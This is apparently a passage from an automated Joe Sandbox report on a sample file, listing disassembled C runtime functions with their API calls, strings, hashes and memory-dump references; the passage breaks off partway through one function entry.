Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 71e2d397b086a6db4775f3c46f6a2d7a3ac826fa0e9999f450727c94d998d904
Instruction ID: f120462aa7b71c7ed498b5a85d4ad06552af5174a41f37d39299af998d14fb51
Opcode Fuzzy Hash: 71e2d397b086a6db4775f3c46f6a2d7a3ac826fa0e9999f450727c94d998d904
Instruction Fuzzy Hash: 7841C630A00218ABCF10EF68C845E9E7BB7AF45314F14C26AED189B352D775EE05CB95

Function 0067EB1C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 0067EB22
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 0067EB30
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 0067EB41

Strings

GetSystemTimePreciseAsFileTime, xrefs: 0067EB2A
kernel32.dll, xrefs: 0067EB1D
GetTempPath2W, xrefs: 0067EB36

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: a9d49e0b6812a12444cdfaeb98405d6bf4e34d4ca42054cc08df77e0b42a1f4f
Instruction ID: af8e87d92460fc587ae9d63d3bcfc609a5395057049ffb379c834174f544270a
Opcode Fuzzy Hash: a9d49e0b6812a12444cdfaeb98405d6bf4e34d4ca42054cc08df77e0b42a1f4f
Instruction Fuzzy Hash: 51D09E356893206F8300BB70BC0A8963E97BE476557069455F601D2665DBF41D418F94

Function 00698A9C Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 813973ee76c391368927db48d01d87a19e97ae2fcfd4108b3d6934888f7b3f3c
Instruction ID: a5951416ea0f8d8fd1bde7dff543e7c18b9c45c48cb8d5171ba928b00ee92c67
Opcode Fuzzy Hash: 813973ee76c391368927db48d01d87a19e97ae2fcfd4108b3d6934888f7b3f3c
Instruction Fuzzy Hash: 00B10470A04249AFDF11EF98C891BAE7BBBBF56314F140159E401AB792CB709D46CBA4

Function 00689AF4 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00689AEB,0067F5BA,0067E585), ref: 00689B02
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00689B10
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00689B29
SetLastError.KERNEL32(00000000,00689AEB,0067F5BA,0067E585), ref: 00689B7B

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 584dc0fe2caebd3e31676146cb6c091e06acc425bcc5bd952480025d2b06ac19
Instruction ID: 8d156b2d3aed5f5785c49dd32eefcfa06170c4fe3bf1f579c54e6a863abd32a2
Opcode Fuzzy Hash: 584dc0fe2caebd3e31676146cb6c091e06acc425bcc5bd952480025d2b06ac19
Instruction Fuzzy Hash: 4F012832219A116F9B6137B5FC8597B2B9BEB06771728032EF222616F1FF215C009764

Function 0068A3BC Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0068A4DB
CallUnexpected.LIBVCRUNTIME ref: 0068A754

Strings

csm, xrefs: 0068A466
csm, xrefs: 0068A3F9
csm, xrefs: 0068A512

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 8efa130b015e6403e5c3f8300f87b2808afddc0b60a089accde455294b0ac4ca
Instruction ID: 7009716208625107aedca35593bfa1c200922fd4aed29e3df7d4509ea791a3f1
Opcode Fuzzy Hash: 8efa130b015e6403e5c3f8300f87b2808afddc0b60a089accde455294b0ac4ca
Instruction Fuzzy Hash: 26B18C71800209DFDF18EFE4C9419AEB7B6BF14310F18465EEC056B216E771EA91CBA6

Function 00684A89 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,81500716,?,?,00000000,0069B3E5,000000FF,?,00684B4A,00000002,Ixh,00684BE6,Ixh), ref: 00684ABE
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00684AD0
FreeLibrary.KERNEL32(00000000,?,?,00000000,0069B3E5,000000FF,?,00684B4A,00000002,Ixh,00684BE6,Ixh), ref: 00684AF2

Strings

CorExitProcess, xrefs: 00684AC8
mscoree.dll, xrefs: 00684AB7

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 78c646906be3ac8db1f6ab7820633cd91f1e05434861ce0d367c56ebe52be283
Instruction ID: 4becbbd43ebfc21b6e4f336f2a6c76630585cddb16f97556eb2ec5952e455443
Opcode Fuzzy Hash: 78c646906be3ac8db1f6ab7820633cd91f1e05434861ce0d367c56ebe52be283
Instruction Fuzzy Hash: F201A735A44615AFCB11AF80DC05BAE7BFEFB45B15F010625F821A6690DFB4AD00CF94

Function 0068C516 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0068C59B
__alloca_probe_16.LIBCMT ref: 0068C664
__freea.LIBCMT ref: 0068C6CB

Part of subcall function 0068AD61: RtlAllocateHeap.NTDLL(00000000,0068CD3A,?,?,0068CD3A,00000220,?,00000000,?), ref: 0068AD93

__freea.LIBCMT ref: 0068C6DE
__freea.LIBCMT ref: 0068C6EB

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 8abe673cf00c6713210785718057cff513d8fbd58760f81c46150361025d6490
Instruction ID: ae755cbac6dbf518b2a9a7077af44043ccb2f528212c0b11624e9dc3e39daec8
Opcode Fuzzy Hash: 8abe673cf00c6713210785718057cff513d8fbd58760f81c46150361025d6490
Instruction Fuzzy Hash: 6D518F72600206AFEB21BE648C81DEB7BABEF44720B25563ABD04D6241FB71DC908774

Function 0067E8E7 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0067E8FB
AcquireSRWLockExclusive.KERNEL32(?,?,00000000,0069B3C8,000000FF,?,0067B697), ref: 0067E91A
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,0069B3C8,000000FF,?,0067B697), ref: 0067E948
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,0069B3C8,000000FF,?,0067B697), ref: 0067E9A3
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,0069B3C8,000000FF,?,0067B697), ref: 0067E9BA

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 583f143fe02094bea07a95e619175f4e96629d3eb1bbf56a89643934d9a3a9b5
Instruction ID: c8b5abcb2b18580c68b24e45c95122f606a32d8fa1a38a97f81b77c28fd1a074
Opcode Fuzzy Hash: 583f143fe02094bea07a95e619175f4e96629d3eb1bbf56a89643934d9a3a9b5
Instruction Fuzzy Hash: 36418E32600606DFCB60DF65C4859AAB3F6FF4D310B10869AE65AD7640E732F989CB51

Function 0067C054 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0067C05B
std::_Lockit::_Lockit.LIBCPMT ref: 0067C066
std::_Lockit::~_Lockit.LIBCPMT ref: 0067C0D4

Part of subcall function 0067BF5D: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0067BF75

std::locale::_Setgloballocale.LIBCPMT ref: 0067C081
_Yarn.LIBCPMT ref: 0067C097

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 727cdb0f61d397990f33df1881d800833eed028beb9568ccb8709af8489e7f5c
Instruction ID: 9a60017a488052e73cb1c4adf9f7bb2905abae51536c01676c309c722b09e0c4
Opcode Fuzzy Hash: 727cdb0f61d397990f33df1881d800833eed028beb9568ccb8709af8489e7f5c
Instruction Fuzzy Hash: F0019A75A001108BCB46FB209C4567D7BA3FF96720B15A04CE81A57381CF74AE82CFD9

Function 0068F766 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0068AFB3: GetLastError.KERNEL32(?,?,0068495A,006A56B0,0000000C), ref: 0068AFB7
Part of subcall function 0068AFB3: SetLastError.KERNEL32(00000000), ref: 0068B059

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,0068509A,?,?,?,00000055,?,-00000050,?,?,?), ref: 0068F825
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,0068509A,?,?,?,00000055,?,-00000050,?,?), ref: 0068F85C

Strings

utf8, xrefs: 0068F92E
`/j, xrefs: 0068F7D9

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: `/j$utf8
API String ID: 943130320-95320002
Opcode ID: 6ac76401d498221b886f367446a9e1af6c84f9757ea3a7415b5b7881945f52ea
Instruction ID: 1fb9127e412af891d274115ff09ea816ae0eb7a856b3924774c53d5414acd384
Opcode Fuzzy Hash: 6ac76401d498221b886f367446a9e1af6c84f9757ea3a7415b5b7881945f52ea
Instruction Fuzzy Hash: 9B51C671600306BAEF25BB748C46BE673AAEF48700F150639F65597681FBB0E94087A9

Function 006952C1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0069535D,00000000,?,006A8180,?,?,?,00695294,00000004,InitializeCriticalSectionEx,0069F434,0069F43C), ref: 006952CE
GetLastError.KERNEL32(?,0069535D,00000000,?,006A8180,?,?,?,00695294,00000004,InitializeCriticalSectionEx,0069F434,0069F43C,00000000,?,0068AA0C), ref: 006952D8
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00695300

Strings

api-ms-, xrefs: 006952E5

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 313052f82e40ab785fde7cb02eb9868b8dde2eb94cec083c591f0d80754283f1
Instruction ID: 79bf23bfe60ed8f2a1f334db341ca59a36e4d89bdcdbd3d1a913ded214b01bef
Opcode Fuzzy Hash: 313052f82e40ab785fde7cb02eb9868b8dde2eb94cec083c591f0d80754283f1
Instruction Fuzzy Hash: 34E01230284305B7DF212B60ED06B993B5B9B51B81F104021F90DA45E1EBE2F8108A54

Function 006930BF Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(81500716,00000000,00000000,?), ref: 00693122

Part of subcall function 0068AE71: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0068C6C1,?,00000000,-00000008), ref: 0068AED2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00693374
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 006933BA
GetLastError.KERNEL32 ref: 0069345D

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 930dd2db39bcab689d8605659325e65a5a54ac395494acf15cdde31af055e599
Instruction ID: 91c527e9fab745a50c4147cd898217c51afd109dac9c03508e2e51edfd3f3829
Opcode Fuzzy Hash: 930dd2db39bcab689d8605659325e65a5a54ac395494acf15cdde31af055e599
Instruction Fuzzy Hash: 6DD16775D042589FCF15CFE8C8849EDBBBAFF09714F28416AE426EB751D630AA02CB50

Function 0068A0E3 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0068A1AA
___AdjustPointer.LIBCMT ref: 0068A1CD
___AdjustPointer.LIBCMT ref: 0068A269

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: ef41436ac5dd198126776240e79ff04c8b48cf023115f56ffdaf4050e4ee3b92
Instruction ID: b8279b6cb704e5154cbec7becebd174d9d8ff27de1f026420d801b3a7a5fb062
Opcode Fuzzy Hash: ef41436ac5dd198126776240e79ff04c8b48cf023115f56ffdaf4050e4ee3b92
Instruction Fuzzy Hash: E251DE726016029FFB25BF90D855BBA77A6FF04310F18432EEC4647291E732AE81CB52

Function 00690B86 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0068AE71: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0068C6C1,?,00000000,-00000008), ref: 0068AED2

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00690BEA
__dosmaperr.LIBCMT ref: 00690BF1
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00690C2B
__dosmaperr.LIBCMT ref: 00690C32

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 6d0d10c211246e846339fb5c43d37089e2fec8bea89752b9266aedacc0920b9c
Instruction ID: c10682da5872958ff763c45ee79845291e055afcd8a24f678868368f3490e710
Opcode Fuzzy Hash: 6d0d10c211246e846339fb5c43d37089e2fec8bea89752b9266aedacc0920b9c
Instruction Fuzzy Hash: 8521DE71600215FFAF60AF61C8819ABB7AFFF00368B10862CF959D7A11DB31EC508B90

Function 00681652 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8faa770becfcceb8206e9d94d564b5e3f120b16aa9f45e22d98ded3c1e197418
Instruction ID: 9413e83aa689c49972feb0537088dd97edf4f8088380fd87ce8c147de29e780c
Opcode Fuzzy Hash: 8faa770becfcceb8206e9d94d564b5e3f120b16aa9f45e22d98ded3c1e197418
Instruction Fuzzy Hash: 5D21A171200205AF9B20BF61CC91DAA77AFBF423647144B2CF959CF251EB31EC5287A4

Function 00691F7C Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00691F84

Part of subcall function 0068AE71: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0068C6C1,?,00000000,-00000008), ref: 0068AED2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00691FBC
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00691FDC

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 221925108b931f23178a88faead23cb524dd7e30588dda817cab09d4266292f6
Instruction ID: 835abacce9666ea7ea19267a8c18aa61ea66dad0d0b05c8e0933465a17cfeba3
Opcode Fuzzy Hash: 221925108b931f23178a88faead23cb524dd7e30588dda817cab09d4266292f6
Instruction Fuzzy Hash: 7F11E5B250050ABEBB213BF15C89CAF696FCE8A3997100119F901D2602FF709D01D6B5

Function 00672A60 Relevance: 6.1, APIs: 4, Instructions: 53threadCOMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00672A8D
GetCurrentThreadId.KERNEL32 ref: 00672A9B
std::_Throw_Cpp_error.LIBCPMT ref: 00672AB4
std::_Throw_Cpp_error.LIBCPMT ref: 00672AF3

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
